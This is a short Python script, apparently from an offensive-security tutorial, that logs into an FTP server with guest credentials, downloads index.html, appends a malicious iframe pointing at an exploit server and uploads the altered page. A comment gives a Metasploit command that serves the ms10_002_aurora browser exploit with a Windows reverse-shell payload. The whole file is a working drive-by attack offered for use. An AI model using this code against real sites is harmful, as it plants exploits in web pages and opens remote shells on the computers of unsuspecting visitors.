import ftplib


def inject_pages(ftp, page, redirect):
    with open(page + '.tmp', 'w') as file:
        ftp.retrlines('RETR ' + page, file.write)
        print(f'[+] Downloaded Page: {page}')
        file.write(redirect)

    print(f'[+] Injected Malicious IFrame on: {page}')

    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print(f'[+] Uploaded Injected Page: {page}')


# msfcli exploit/windows/browser/ms10_002_aurora LHOST=127.0.0.1 SRVHOST=127.0.0.1 URIPATH=/exploit PAYLOAD=windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=443
if __name__ == '__main__':
    host = '127.0.0.1'
    username, password = 'guest', 'guest'
    conn = ftplib.FTP(host)
    conn.login(username, password)
    redirect_html = '<iframe src="http:\\\\127.0.0.1:8080\\exploit"></iframe>'
    inject_pages(conn, 'index.html', redirect_html)
